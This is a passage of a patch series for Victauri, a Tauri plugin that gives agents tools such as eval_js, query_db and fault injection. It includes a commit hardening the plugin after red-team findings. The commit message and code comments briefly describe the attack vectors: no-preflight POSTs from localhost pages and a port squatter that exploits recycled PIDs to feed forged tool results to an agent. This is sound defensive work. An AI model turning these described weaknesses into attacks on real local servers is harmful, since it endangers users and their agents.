set.join_next().await.is_some() {} } } -/// Drain one window's event stream into the event log / recorder. Returns the -/// newest event timestamp seen (to advance the window's watermark), or `None` if -/// nothing was drained (pending-eval saturation, eval-injection failure, callback -/// timeout, or an unparseable result). Returning `None` leaves the watermark -/// unchanged, so a transient failure simply re-fetches the same window next tick. +/// Drain one window's new events (strictly after its shared watermark) into the event log and +/// recorder, then advance the watermark. Serialized per window, so the background drain and +/// `recording flush` never ingest the same window's events twice. Returns how many events were +/// recorded, or `None` if the window could not be drained this time (the watermark is left +/// unchanged, so a transient failure just re-reads the same range next time). +pub async fn drain_window_into_recording( + state: &Arc, + bridge: &Arc, + label: &str, +) -> Option { + let lock = state.drain_watermarks.lock_for(label); + let _serialized = lock.lock().await; + let since = state.drain_watermarks.since(label); + let (newest, recorded) = drain_window(state, bridge, label, since).await?; + state.drain_watermarks.advance(label, newest); + Some(recorded) +} +/// Read one window's event stream strictly after `since` into the event log / recorder. +/// Returns the newest watermark value seen and how many events were recorded, or `None` if +/// nothing was drained (pending-eval saturation, eval-injection failure, callback timeout, or +/// an unparseable result). async fn drain_window( state: &Arc, bridge: &Arc, label: &str, since: f64, -) -> Option { +) -> Option<(f64, usize)> { // `true` = exclusive: `since` is our own watermark (the newest timestamp already // ingested), so an inclusive read re-ingested the newest event on every tick. let code = format!("return window.__VICTAURI__?.getEventStream({since}, true)"); @@ -1181,6 +1176,7 @@ async fn drain_window( #[allow(clippy::cast_precision_loss)] let now_ms = chrono::Utc::now().timestamp_millis() as f64; let mut newest = since; + let mut recorded = 0usize; for ev in &events { let ts = ev .get("seq_ts") @@ -1197,10 +1193,11 @@ async fn drain_window( state.event_log.push(app_event.clone()); if state.recorder.is_recording() { state.recorder.record_event(app_event); + recorded += 1; } } } - Some(newest) + Some((newest, recorded)) } #[cfg(test)] diff --git a/crates/victauri-plugin/src/screencast.rs b/crates/victauri-plugin/src/screencast.rs index 5bb0a242..b222566d 100644 --- a/crates/victauri-plugin/src/screencast.rs +++ b/crates/victauri-plugin/src/screencast.rs @@ -30,9 +30,10 @@ pub struct Screencast { generation: AtomicU64, frames: Mutex>, label: Mutex>, - /// Whether this trace started the event recorder (`with_events`), so `stop` can stop it — - /// otherwise the recorder (and the per-second drain loop it enables) outlives the trace. - owns_recording: AtomicBool, + /// Session id of the recording this trace started (`with_events`), so `stop` can stop + /// exactly that one — otherwise the recorder (and the per-second drain loop it enables) + /// outlives the trace. A bare flag could stop a recording someone else started later. + owned_recording: Mutex>, } impl Default for Screencast { @@ -44,7 +45,7 @@ impl Default for Screencast { generation: AtomicU64::new(0), frames: Mutex::new(Vec::new()), label: Mutex::new(None), - owns_recording: AtomicBool::new(false), + owned_recording: Mutex::new(None), } } } @@ -148,14 +149,41 @@ impl Screencast { true } - /// Record whether the current trace started the event recorder. - pub fn set_owns_recording(&self, owns: bool) { - self.owns_recording.store(owns, Ordering::SeqCst); + /// Record (or clear) the session id of the recording the current trace started. + pub fn set_owned_recording(&self, session_id: Option) { + *self + .owned_recording + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) = session_id; + } + + /// Clear and return the session id of the recording the finished trace started. + pub fn take_owned_recording(&self) -> Option { + self.owned_recording + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .take() } - /// Clear and return whether the finished trace owned the event recorder. - pub fn take_owns_recording(&self) -> bool { - self.owns_recording.swap(false, Ordering::SeqCst) + /// Stop the trace only if `generation` is still current — atomically, so an old capture + /// task's auto-stop can never stop a NEWER trace started in between. Returns whether it + /// stopped anything. + pub fn stop_if_generation(&self, generation: u64) -> bool { + if self + .generation + .compare_exchange( + generation, + generation + 1, + Ordering::SeqCst, + Ordering::SeqCst, + ) + .is_ok() + { + self.active.store(false, Ordering::SeqCst); + true + } else { + false + } } /// Number of frames currently buffered. @@ -260,11 +288,25 @@ mod tests { } #[test] - fn owns_recording_is_taken_once() { + fn owned_recording_is_taken_once() { let sc = Screencast::default(); - sc.set_owns_recording(true); - assert!(sc.take_owns_recording()); - assert!(!sc.take_owns_recording()); + sc.set_owned_recording(Some("s1".into())); + assert_eq!(sc.take_owned_recording().as_deref(), Some("s1")); + assert_eq!(sc.take_owned_recording(), None); + } + + #[test] + fn stale_generation_cannot_stop_a_newer_trace() { + let sc = Screencast::default(); + let old = sc.start(100, 10, None); + let new = sc.start(100, 10, None); + assert!( + !sc.stop_if_generation(old), + "an old task must not stop the new trace" + ); + assert!(sc.is_active()); + assert!(sc.stop_if_generation(new)); + assert!(!sc.is_active()); } #[test] diff --git a/crates/victauri-test/src/assertions.rs b/crates/victauri-test/src/assertions.rs index 686d5494..653b513a 100644 --- a/crates/victauri-test/src/assertions.rs +++ b/crates/victauri-test/src/assertions.rs @@ -54,6 +54,7 @@ enum Check { /// A single check result — pass or fail with context. #[derive(Debug, Clone)] +#[non_exhaustive] pub struct CheckResult { /// Human-readable description of what was checked. pub description: String, @@ -77,6 +78,7 @@ impl CheckResult { /// Collection of check results from a `verify()` run. #[derive(Debug)] +#[non_exhaustive] pub struct VerifyReport { /// Individual check results in order. pub results: Vec, From e72246eb7e733df016c80669c9b70b846e9c55d5 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 16:14:44 +1000 Subject: [PATCH 010/167] fix: network-boundary, ASI and honesty findings from the pre-audit red team - Browser-originated POSTs must be JSON (415 otherwise): a page on any localhost origin could fire CORS-simple, no-preflight tool calls at an auth_disabled() server. Non-browser clients (no Origin) are unaffected. - One GLOBAL concurrency cap: axum instantiated the per-route layer per route, giving /mcp and /api/tools 64 slots each. - victauri bridge (Unix): liveness counts only our own user's processes (`ps -U `); `ps -A` let another user's recycled PID keep a dead app's discovery entry "alive" for a port squatter. - query_db absolute paths: containment is decided lexically before touching the path, so errors no longer reveal whether an arbitrary file exists. - eval auto-return: postfix ++/--, `a\n++b`, regex literals (incl. quotes inside them), keyword operators at line end, U+2028/2029, and a `;` followed only by a comment are now handled per JavaScript's ASI rules. - Tool annotations now match what the tools can do: recording (replay), introspect (contract_record/check invoke commands; *_clear), logs (clear), window (close) are destructive; verify_state/wait_for/assert_semantic run caller JS; inspect/animation mutate the page. Descriptions for trace, fault, explain, db_health and logs corrected. - tools_fallback.json (shown while the app is down) regenerated; a test now pins its names AND descriptions to the live tool router. - WebviewBridge documents its stability contract for implementors. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-cli/src/bridge.rs | 17 +- crates/victauri-cli/src/tools_fallback.json | 140 +++--- crates/victauri-plugin/src/bridge.rs | 6 + crates/victauri-plugin/src/mcp/mod.rs | 421 ++++++++++++++---- crates/victauri-plugin/src/mcp/server.rs | 39 +- .../tests/tool_contract_tests.rs | 43 ++ 6 files changed, 507 insertions(+), 159 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 270861bf..fbddd3d7 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -1100,6 +1100,12 @@ fn system32_exe(name: &str) -> String { format!("{root}\\System32\\{name}") } +/// No batched process enumeration on this platform: callers fall back to per-pid checks. +#[cfg(not(any(unix, windows)))] +fn alive_pids() -> Option> { + None +} + /// Resolve a core utility to an absolute path (defeats `PATH`-hijack of the poller's repeated /// `ps`/`kill` spawns), falling back to the bare name only if neither canonical location exists. #[cfg(not(windows))] @@ -1140,11 +1146,16 @@ fn alive_pids() -> Option> { (!set.is_empty()).then_some(set) } -/// One `ps` lists every PID on both Linux and macOS (portable; `/proc` is Linux-only). -#[cfg(not(windows))] +/// One `ps` lists the PIDs on both Linux and macOS (portable; `/proc` is Linux-only) — only +/// OUR OWN user's processes. `ps -A` counted every user's, so on a shared machine a stale +/// discovery entry whose PID had been recycled by ANOTHER user's process looked alive, and a +/// port squatter could then receive the token and feed forged tool results to the agent. The +/// per-pid fallback (`kill -0`) was already own-user only. +#[cfg(unix)] fn alive_pids() -> Option> { + let uid = current_euid()?.to_string(); let out = std::process::Command::new(abs_bin("ps")) - .args(["-A", "-o", "pid="]) + .args(["-U", uid.as_str(), "-o", "pid="]) .output() .ok()?; if !out.status.success() { diff --git a/crates/victauri-cli/src/tools_fallback.json b/crates/victauri-cli/src/tools_fallback.json index 6f14b2ee..be58bb4e 100644 --- a/crates/victauri-cli/src/tools_fallback.json +++ b/crates/victauri-cli/src/tools_fallback.json @@ -1,142 +1,142 @@ [ { - "name": "eval_js", - "description": "Evaluate JavaScript in the Tauri webview and return the result. Async expressions are wrapped automatically." + "description": "Animation introspection (no CDP). Reads the Web Animations API to reveal what the webview's animation engine is actually running — duration, delay, easing, iterations, keyframes, current progress, and the animating element. Standard DOM, so it works identically on WebView2/WKWebView/WebKitGTK. Actions:\n- `list`: return all running CSS animations/transitions (optionally scoped by `selector`), each with declared `timing`, `computed` progress, `keyframes`, and `target`.\n- `scrub`: deterministically pause the target's animation and seek it to `points` evenly-spaced steps (default 20), returning the exact geometry curve (rect + transform + opacity per step). With `capture=true`, also returns a single contact-sheet filmstrip PNG (one image of the whole arc) plus a `manifest` mapping each cell to its progress/time. Frozen frames are jank-free, so this beats real-time capture for fast sweeps. CSS-driven animations only (JS/rAF animations are not seekable — use `list`/`sample`).\n- `sample`: real-time motion recorder. `record=true` arms a requestAnimationFrame watcher on `selector` (or the first animating element); then trigger the animation; then call with `record=false` to read the measured per-frame curve plus jank stats (dropped frames, max frame gap) and declared-vs-measured duration. Works for ANY animation including JS/rAF-driven ones. `clear=true` resets recorded sessions.\nNOTE: an animation only appears while it is running or pending — trigger it (e.g. show the notification) just before calling `list`/`scrub`, or arm `sample` before triggering.", + "name": "animation" }, { - "name": "dom_snapshot", - "description": "Get the DOM snapshot with stable ref handles. Default: compact accessible text (70-80% fewer tokens). Set format=\"json\" for full tree. Returns tree + stale_refs (refs invalidated since last snapshot)." + "description": "Get comprehensive app info: Tauri config (identifier, product name, version), app directory paths (data, config, log, local_data), process environment variables, and database files found in app directories. Provides direct backend context without going through the webview.", + "name": "app_info" }, { - "name": "find_elements", - "description": "Search for elements by text, role, test_id, CSS selector (via `css` or `selector` param), or accessible name without a full snapshot. Returns lightweight matches with ref handles." + "description": "Read application-defined backend state via a registered probe. With no `probe`, lists available probe names. With a `probe` name, runs it and returns its JSON snapshot. Probes give first-class, discoverable access to domain state (e.g. a scoring pipeline's version + stale-item count, a queue's depth, cache stats) that would otherwise need query_db + log-grepping. Probes run in the Rust process with no IPC round-trip. Apps register them via VictauriBuilder::probe(name, closure).", + "name": "app_state" }, { - "name": "invoke_command", - "description": "Invoke a registered Tauri command via IPC, just like the frontend would. Goes through the real IPC pipeline so calls are logged and verifiable. Returns the command's result. Subject to privacy command filtering." + "description": "Run a semantic assertion: evaluate a JS expression and check the result against an expected condition. Conditions: equals, not_equals, contains, greater_than, less_than, truthy, falsy, exists, type_is.", + "name": "assert_semantic" }, { - "name": "screenshot", - "description": "Capture a screenshot of a Tauri window as a base64-encoded PNG image. Works on Windows (PrintWindow), macOS (CGWindowListCreateImage), and Linux X11/XWayland. Pure Wayland fails safely because its available fallback would capture the full desktop rather than the requested window. A hidden (non-visible) window has no on-screen surface to capture, so requesting one returns a clear error (show it first via `window` manage_action=show) rather than a stale or wrong-window image." + "description": "Check IPC round-trip integrity: find stale (stuck) pending calls and errored calls. Returns health status and lists of problematic IPC calls.", + "name": "check_ipc_integrity" }, { - "name": "verify_state", - "description": "Compare frontend state (evaluated via JS expression) against backend state to detect divergences. Returns a VerificationResult with any mismatches." + "description": "CSS injection. Actions: inject (add custom CSS to page), remove (remove previously injected CSS). Subject to privacy controls.", + "name": "css" }, { - "name": "detect_ghost_commands", - "description": "Detect ghost commands (frontend calls with no backend handler) by IPC OUTCOME, not by guessing from Victauri's registry. Returns: `confirmed_ghosts` = commands invoked that NEVER returned success and errored 'not found' — real missing-handler bugs, HIGH confidence and independent of whether the app uses #[inspectable]; `verified_handlers` = count of commands that returned success at least once (they provably HAVE a handler, so they are never flagged — this is why a real command like `set_language` is no longer a false positive); `frontend_only` = the WEAKER candidate tier (invoked, never observed succeeding, NOT a Tauri/plugin framework builtin, and absent from the introspection registry) — confirm against the app's `tauri::generate_handler!` before filing; `excluded_builtins` = framework `plugin:*` commands (never app ghosts); `registry_only` = registered commands never invoked (informational). The `reliability` field describes only `frontend_only`; `confirmed_ghosts` is high-confidence regardless. Reads the JS-side IPC interception log (ACCUMULATES all session traffic). For a clean signal scope with `since_ms` (e.g. 5000) — invoke the suspect action, then call this with `since_ms` — or `logs {action:'clear'}` then exercise the app." + "description": "Detect ghost commands (frontend calls with no backend handler) by IPC OUTCOME, not by guessing from Victauri's registry. Returns: `confirmed_ghosts` = commands invoked that NEVER returned success and errored 'not found' — real missing-handler bugs, HIGH confidence and independent of whether the app uses #[inspectable]; `verified_handlers` = count of commands that returned success at least once (they provably HAVE a handler, so they are never flagged — this is why a real command like `set_language` is no longer a false positive); `frontend_only` = the WEAKER candidate tier (invoked, never observed succeeding, NOT a Tauri/plugin framework builtin, and absent from the introspection registry) — confirm against the app's `tauri::generate_handler!` before filing; `excluded_builtins` = framework `plugin:*` commands (never app ghosts); `registry_only` = registered commands never invoked (informational). The `reliability` field describes only `frontend_only`; `confirmed_ghosts` is high-confidence regardless. Reads the JS-side IPC interception log (ACCUMULATES all session traffic). For a clean signal scope with `since_ms` (e.g. 5000) — invoke the suspect action, then call this with `since_ms` — or `logs {action:'clear'}` then exercise the app.", + "name": "detect_ghost_commands" }, { - "name": "check_ipc_integrity", - "description": "Check IPC round-trip integrity: find stale (stuck) pending calls and errored calls. Returns health status and lists of problematic IPC calls." + "description": "Get the DOM snapshot with stable ref handles. Default: compact accessible text (70-80%% fewer tokens). Set format=\"json\" for full tree. Returns tree + stale_refs (refs invalidated since last snapshot).", + "name": "dom_snapshot" }, { - "name": "wait_for", - "description": "Wait for a condition to be met. Polls at regular intervals until satisfied or timeout. Conditions: text (text appears), text_gone (text disappears), selector (CSS selector matches), selector_gone, url (URL contains value), ipc_idle (no pending IPC calls), network_idle (no pending network requests), expression (poll a JS expression in `value` until truthy or until it equals `expected` — may `await`, e.g. await a fire-and-forget command's status), event (block until the Tauri event named in `value` fires, with `since_ms` look-back). Use expression/event to await async backend work to true completion instead of guessing with a fixed sleep." + "description": "Evaluate JavaScript in the Tauri webview and return the result. Async expressions are wrapped automatically.", + "name": "eval_js" }, { - "name": "assert_semantic", - "description": "Run a semantic assertion: evaluate a JS expression and check the result against an expected condition. Conditions: equals, not_equals, contains, greater_than, less_than, truthy, falsy, exists, type_is." + "description": "Correlate recent activity across all layers into a coherent narrative. CDP shows raw events per layer; Victauri correlates IPC + DOM + console + network + window events across the Rust backend and webview simultaneously.\n\nActions:\n- `summary`: High-level activity summary for the last N seconds (default 30). Counts IPC calls, DOM mutations, console entries, state changes (incl. network requests), errors. With no recording active it reads the window's live event stream (`webview_label`, default main).\n- `last_action`: Correlate the most recent burst of events into a causal timeline (e.g. 'IPC call → DOM update → console.log').\n- `diff`: What changed in the last N seconds — event counts, errors, new IPC commands.", + "name": "explain" }, { - "name": "resolve_command", - "description": "Resolve a natural language query to matching Tauri commands. Returns scored results ranked by relevance, using command names, descriptions, intents, categories, and examples." + "description": "Probe a backend command handler under failure by faulting it for chaos engineering. Simulate slow commands, backend errors, dropped responses, and corrupted data. SCOPE: faults apply ONLY to commands you run via this server's `invoke_command` tool — they do NOT intercept the app's real user-driven IPC (window.__TAURI_INTERNALS__.invoke), which runs below the layer Victauri can reach. Use this to test a handler's error path when YOU drive it; it does not reproduce a failure a user clicking the UI would see.\n\nActions:\n- `inject`: Add a fault rule (requires `command`, `fault_type`). Optional: `delay_ms` (max 120000), `error_message`, `max_triggers`. `delay` sleeps then runs the command; `error` returns the error without running it; `drop` returns `{}` without running it; `corrupt` runs it and replaces the response with a fixed `{\"__corrupted\":true,…}` marker. Rules expire after 15 minutes.\n- `list`: List all active fault injection rules.\n- `clear`: Remove a specific fault rule (requires `command`).\n- `clear_all`: Remove all fault rules.", + "name": "fault" }, { - "name": "get_registry", - "description": "List or search all registered Tauri commands with their argument schemas. Pass query to filter by name/description substring. Commands are registered via the #[inspectable] macro — apps that don't use it return names with null schemas; for those, use `introspect command_catalog` to recover real argument/result shapes from the live IPC log." + "description": "Search for elements by text, role, test_id, CSS selector (via `css` or `selector` param), or accessible name without a full snapshot. Returns lightweight matches with ref handles.", + "name": "find_elements" }, { - "name": "app_state", - "description": "Read application-defined backend state via a registered probe. With no `probe`, lists available probe names. With a `probe` name, runs it and returns its JSON snapshot. Probes give first-class, discoverable access to domain state (e.g. a scoring pipeline's version + stale-item count, a queue's depth, cache stats) that would otherwise need query_db + log-grepping. Probes run in the Rust process with no IPC round-trip. Apps register them via VictauriBuilder::probe(name, closure)." + "description": "Run environment diagnostics: detect service workers (break IPC interception), closed shadow DOM (invisible to snapshots), iframes (bridge absent), large DOM warnings, and CSP status. Call this first when connecting to an unfamiliar app.", + "name": "get_diagnostics" }, { - "name": "get_memory_stats", - "description": "Get real-time process memory statistics from the OS (working set, page file usage). On Windows returns detailed metrics; on Linux returns virtual/resident size." + "description": "Get real-time process memory statistics from the OS (working set, page file usage). On Windows returns detailed metrics; on Linux returns virtual/resident size.", + "name": "get_memory_stats" }, { - "name": "get_plugin_info", - "description": "Inspect the Victauri plugin's own configuration: port, enabled/disabled tools, command filters, privacy settings, capacities, and version. Useful for agents to understand their capabilities before acting." + "description": "Inspect the Victauri plugin's own configuration: port, enabled/disabled tools, command filters, privacy settings, capacities, and version. Useful for agents to understand their capabilities before acting.", + "name": "get_plugin_info" }, { - "name": "get_diagnostics", - "description": "Run environment diagnostics: detect service workers (break IPC interception), closed shadow DOM (invisible to snapshots), iframes (bridge absent), large DOM warnings, and CSP status. Call this first when connecting to an unfamiliar app." + "description": "List or search all registered Tauri commands with their argument schemas. Pass query to filter by name/description substring. Commands are registered via the #[inspectable] macro — apps that don't use it return names with null schemas; for those, use `introspect command_catalog` to recover real argument/result shapes from the live IPC log.", + "name": "get_registry" }, { - "name": "app_info", - "description": "Get comprehensive app info: Tauri config (identifier, product name, version), app directory paths (data, config, log, local_data), process environment variables, and database files found in app directories. Provides direct backend context without going through the webview." + "description": "Text and keyboard input. Actions: fill (set input value), type_text (character-by-character typing), press_key (trigger a keyboard key). Subject to privacy controls.", + "name": "input" }, { - "name": "list_app_dir", - "description": "List files in the app's data, config, log, or local_data directories. Useful for discovering databases, config files, logs, and cached data on the backend — without going through the webview." + "description": "CSS and visual inspection. Actions: get_styles (computed CSS for element), get_bounding_boxes (layout rects), highlight (debug overlay), clear_highlights, audit_accessibility (a11y audit), get_performance (timing/heap/DOM metrics).", + "name": "inspect" }, { - "name": "read_app_file", - "description": "Read a file from the app's data, config, log, or local_data directory. Returns UTF-8 text by default, or base64 for binary files. Directly reads backend files without going through the webview." + "description": "DOM element interactions. Actions: click, double_click, hover, focus, scroll_into_view, select_option. Requires ref_id from a dom_snapshot for most actions.", + "name": "interact" }, { - "name": "query_db", - "description": "Execute a bounded, read-only SQL query against a SQLite database in the app's data directory. The SQL goes in the `query` field (alias: `sql`). Auto-discovers database files if no path is specified. Only SELECT/PRAGMA/EXPLAIN/WITH queries are allowed. CPU time, cell size, row count, and returned bytes are capped. Returns rows as JSON objects with column names as keys. This provides direct backend database access without going through the webview or IPC." + "description": "Deep backend introspection — command profiling, IPC contract testing, coverage, startup timing, capability auditing, database diagnostics, process enumeration, and event bus monitoring. These features exploit Victauri's position inside the Rust process.\n\nActions:\n- `command_timings`: Per-command execution timing stats (min/max/avg/p95). Set `slow_threshold_ms` to filter.\n- `coverage`: Which registered commands have been called during this session.\n- `command_catalog`: Per-command argument + result SHAPES mined from the live IPC log, merged with the registry — real call/return schemas even for apps that don't use #[inspectable] (where get_registry is names-only). The highest-signal way to learn how to drive an app's commands.\n- `contract_record`: Record a command's response shape as a baseline (requires `command`).\n- `contract_check`: Check all recorded contracts for schema drift.\n- `contract_list`: List all recorded contract baselines.\n- `contract_clear`: Clear all recorded contract baselines.\n- `startup_timing`: Victauri plugin initialization phase-by-phase timing breakdown.\n- `capabilities`: Enumerate Tauri v2 capabilities, security config (CSP, freeze_prototype), configured plugins, and window definitions.\n- `db_health`: Read-only SQLite diagnostics: journal mode, page stats, freelist, per-table row counts, and SQLite `quick_check` — each phase budgeted; a phase that runs out is reported (`row_counts_complete`, `integrity_check: \"not completed…\"`) instead of failing.\n- `plugin_state`: Snapshot of the Victauri plugin's internal state (event log, registry, faults, recording, timings, etc.).\n- `processes`: Enumerate the host process and all child processes (sidecars, background workers) with PID, name, and memory usage.\n- `plugin_tasks`: List Victauri's own spawned async tasks (MCP server, event drain) with status.\n- `event_bus`: List captured Tauri events + app events (auto-intercepted via listen_any — no app opt-in needed). Returns the newest events per category (default 100) so the full buffers (up to ~11k events / megabytes) never overflow the result; `count` is the true total and `truncated` flags a capped slice. Scope via the `args` object: `{\"action\":\"event_bus\",\"args\":{\"limit\":500,\"since_ms\":5000}}`.\n- `event_bus_clear`: Clear the event bus capture buffer.", + "name": "introspect" }, { - "name": "interact", - "description": "DOM element interactions. Actions: click, double_click, hover, focus, scroll_into_view, select_option. Requires ref_id from a dom_snapshot for most actions." + "description": "Invoke a registered Tauri command via IPC, just like the frontend would. Goes through the real IPC pipeline so calls are logged and verifiable. Returns the command's result. Subject to privacy command filtering.", + "name": "invoke_command" }, { - "name": "input", - "description": "Text and keyboard input. Actions: fill (set input value), type_text (character-by-character typing), press_key (trigger a keyboard key). Subject to privacy controls." + "description": "List files in the app's data, config, log, or local_data directories. Useful for discovering databases, config files, logs, and cached data on the backend — without going through the webview.", + "name": "list_app_dir" }, { - "name": "window", - "description": "Window management. Actions: get_state (window positions/sizes/visibility), list (all window labels), manage (minimize/maximize/close/focus/show/hide/fullscreen/always_on_top), resize, move_to, set_title, introspectability (probe every window and report which Victauri can actually see — a visible window that comes back introspectable:false is almost always missing the \"victauri:default\" capability; run this FIRST when eval_js/dom_snapshot/animation return nothing for a multi-window app)." + "description": "Application logs and monitoring. Actions: console (captured console.log/warn/error), network (intercepted fetch/XHR), ipc (IPC call log — set wait_for_capture=true to await response capture up to 500ms), navigation (URL change history), dialogs (alert/confirm/prompt events), events (combined event stream), slow_ipc (find slow IPC calls), clear (DELETES the captured IPC + network logs — use for per-test isolation).", + "name": "logs" }, { - "name": "storage", - "description": "Browser storage operations. Actions: get (read localStorage/sessionStorage), set (write), delete (remove key), get_cookies. Subject to privacy controls for set and delete." + "description": "Navigation and dialog control. Actions: go_to (navigate to URL), go_back (browser back), get_history (navigation log), set_dialog_response (auto-respond to alert/confirm/prompt), get_dialog_log (captured dialog events). Subject to privacy controls for go_to and set_dialog_response.", + "name": "navigate" }, { - "name": "navigate", - "description": "Navigation and dialog control. Actions: go_to (navigate to URL), go_back (browser back), get_history (navigation log), set_dialog_response (auto-respond to alert/confirm/prompt), get_dialog_log (captured dialog events). Subject to privacy controls for go_to and set_dialog_response." + "description": "Execute a bounded, read-only SQL query against a SQLite database in the app's data directory. The SQL goes in the `query` field (alias: `sql`). Auto-discovers database files if no path is specified. Only SELECT/PRAGMA/EXPLAIN/WITH queries are allowed. CPU time, cell size, row count, and returned bytes are capped. Returns rows as JSON objects with column names as keys. This provides direct backend database access without going through the webview or IPC.", + "name": "query_db" }, { - "name": "recording", - "description": "Time-travel recording. Actions: start (begin recording), stop (end and return session), checkpoint (save state snapshot), list_checkpoints, get_events (since index), events_between (two checkpoints), get_replay (IPC replay sequence), export (session as JSON), import (load session from JSON), replay (re-execute recorded IPC commands and compare responses), flush (immediately drain pending events into recording without waiting for the 1-second poll)." + "description": "Read a file from the app's data, config, log, or local_data directory. Returns UTF-8 text by default, or base64 for binary files. Directly reads backend files without going through the webview.", + "name": "read_app_file" }, { - "name": "inspect", - "description": "CSS and visual inspection. Actions: get_styles (computed CSS for element), get_bounding_boxes (layout rects), highlight (debug overlay), clear_highlights, audit_accessibility (a11y audit), get_performance (timing/heap/DOM metrics)." + "description": "Time-travel recording. Actions: start (begin recording), stop (end and return session), checkpoint (save state snapshot), list_checkpoints, get_events (since index), events_between (two checkpoints), get_replay (IPC replay sequence), export (session as JSON), import (load a session from JSON as the active recording; refused while one is in progress), replay (re-invoke the recorded IPC commands that succeeded with no arguments — their side effects happen again; calls that had arguments, failed, or never completed are skipped because recordings do not capture arguments), flush (immediately drain pending events into recording without waiting for the 1-second poll).", + "name": "recording" }, { - "name": "css", - "description": "CSS injection. Actions: inject (add custom CSS to page), remove (remove previously injected CSS). Subject to privacy controls." + "description": "Resolve a natural language query to matching Tauri commands. Returns scored results ranked by relevance, using command names, descriptions, intents, categories, and examples.", + "name": "resolve_command" }, { - "name": "route", - "description": "Network request interception (Playwright route() equivalent, no CDP). Matches webview fetch/XHR by URL and blocks, mocks, or delays them. Actions: - `add`: add a rule. `pattern` (+ optional `match_type`: substring/glob/regex/exact, and `method`) selects requests; `behavior` is `block` (abort), `fulfill` (return a mock `status`/`headers`/`body`/`content_type`), or `delay` (proceed after `delay_ms`). `times` limits how often it fires. Rules are page-scoped (cleared on reload). - `list`: list active rules. - `clear` (by `id`) / `clear_all`: remove rules. - `matches`: log of intercepted requests. Note: fetch supports all behaviors; XHR supports block/delay (fulfill is fetch-only). Top-level navigation, sub-resource (img/css), and WebSocket traffic are not intercepted. Tauri IPC (ipc.localhost) is OBSERVE-ONLY: such calls appear in `matches`, but block/fulfill/delay do NOT take effect on them — Tauri serves IPC below the JS fetch layer, so it cannot be controlled cross-platform without CDP. There is no IPC-control tool; the `fault` tool only affects commands you drive via `invoke_command`, not real user IPC." + "description": "Network request interception (Playwright route() equivalent, no CDP). Matches webview fetch/XHR by URL and blocks, mocks, or delays them. Actions:\n- `add`: add a rule. `pattern` (+ optional `match_type`: substring/glob/regex/exact, and `method`) selects requests; `behavior` is `block` (abort), `fulfill` (return a mock `status`/`headers`/`body`/`content_type`), or `delay` (proceed after `delay_ms`). `times` limits how often it fires. Rules are page-scoped (cleared on reload).\n- `list`: list active rules.\n- `clear` (by `id`) / `clear_all`: remove rules.\n- `matches`: log of intercepted requests.\nNote: fetch supports all behaviors; XHR supports block/delay (fulfill is fetch-only). Top-level navigation, sub-resource (img/css), and WebSocket traffic are not intercepted. Tauri IPC (ipc.localhost) is OBSERVE-ONLY: such calls appear in `matches`, but block/fulfill/delay do NOT take effect on them — Tauri serves IPC below the JS fetch layer, so it cannot be controlled cross-platform without CDP. There is no IPC-control tool; the `fault` tool only affects commands you drive via `invoke_command`, not real user IPC.", + "name": "route" }, { - "name": "trace", - "description": "Screencast / visual trace (no CDP). Captures the window at a fixed interval into a ring buffer, forming a visual timeline that pairs with `recording` (events) and `logs` (network/console). Actions: - `start`: begin capturing (`interval_ms` default 500, `max_frames` default 60). Set `with_events=true` to also start the event recorder. - `stop`: stop and return a summary (frame count, duration, timestamps). - `status`: active flag + buffered frame count. - `frames`: return captured frames as base64 PNGs (`limit` caps how many)." + "description": "Capture a screenshot of a Tauri window as a base64-encoded PNG image. Works on Windows (PrintWindow), macOS (CGWindowListCreateImage), and Linux X11/XWayland. Pure Wayland fails safely because its available fallback would capture the full desktop rather than the requested window. A hidden (non-visible) window has no on-screen surface to capture, so requesting one returns a clear error (show it first via `window` manage_action=show) rather than a stale or wrong-window image.", + "name": "screenshot" }, { - "name": "animation", - "description": "Animation introspection (no CDP). Reads the Web Animations API to reveal what the webview's animation engine is actually running — duration, delay, easing, iterations, keyframes, current progress, and the animating element. Standard DOM, so it works identically on WebView2/WKWebView/WebKitGTK. Actions: - `list`: return all running CSS animations/transitions (optionally scoped by `selector`), each with declared `timing`, `computed` progress, `keyframes`, and `target`. - `scrub`: deterministically pause the target's animation and seek it to `points` evenly-spaced steps (default 20), returning the exact geometry curve (rect + transform + opacity per step). With `capture=true`, also returns a single contact-sheet filmstrip PNG (one image of the whole arc) plus a `manifest` mapping each cell to its progress/time. Frozen frames are jank-free, so this beats real-time capture for fast sweeps. CSS-driven animations only (JS/rAF animations are not seekable — use `list`/`sample`). - `sample`: real-time motion recorder. `record=true` arms a requestAnimationFrame watcher on `selector` (or the first animating element); then trigger the animation; then call with `record=false` to read the measured per-frame curve plus jank stats (dropped frames, max frame gap) and declared-vs-measured duration. Works for ANY animation including JS/rAF-driven ones. `clear=true` resets recorded sessions. NOTE: an animation only appears while it is running or pending — trigger it (e.g. show the notification) just before calling `list`/`scrub`, or arm `sample` before triggering." + "description": "Browser storage operations. Actions: get (read localStorage/sessionStorage), set (write), delete (remove key), get_cookies. Subject to privacy controls for set and delete.", + "name": "storage" }, { - "name": "logs", - "description": "Application logs and monitoring. Actions: console (captured console.log/warn/error), network (intercepted fetch/XHR), ipc (IPC call log — set wait_for_capture=true to await response capture up to 500ms), navigation (URL change history), dialogs (alert/confirm/prompt events), events (combined event stream), slow_ipc (find slow IPC calls)." + "description": "Screencast / visual trace (no CDP). Captures the window at a fixed interval into a ring buffer, forming a visual timeline that pairs with `recording` (events) and `logs` (network/console). Actions:\n- `start`: begin capturing (`interval_ms` default 500, `max_frames` default 60). Set `with_events=true` to also start the event recorder. Hidden windows are skipped (no frame), the buffer is capped at 256 MB, and an abandoned trace auto-stops after 30 minutes.\n- `stop`: stop and return a summary (frame count, duration, timestamps); also stops the recording that `with_events` started (never one started separately).\n- `status`: active flag + buffered frame count.\n- `frames`: return captured frames as base64 PNGs, newest first up to a 25 MB response (`limit` caps how many).", + "name": "trace" }, { - "name": "introspect", - "description": "Deep backend introspection — command profiling, IPC contract testing, coverage, startup timing, capability auditing, database diagnostics, process enumeration, and event bus monitoring. These features exploit Victauri's position inside the Rust process. Actions: - 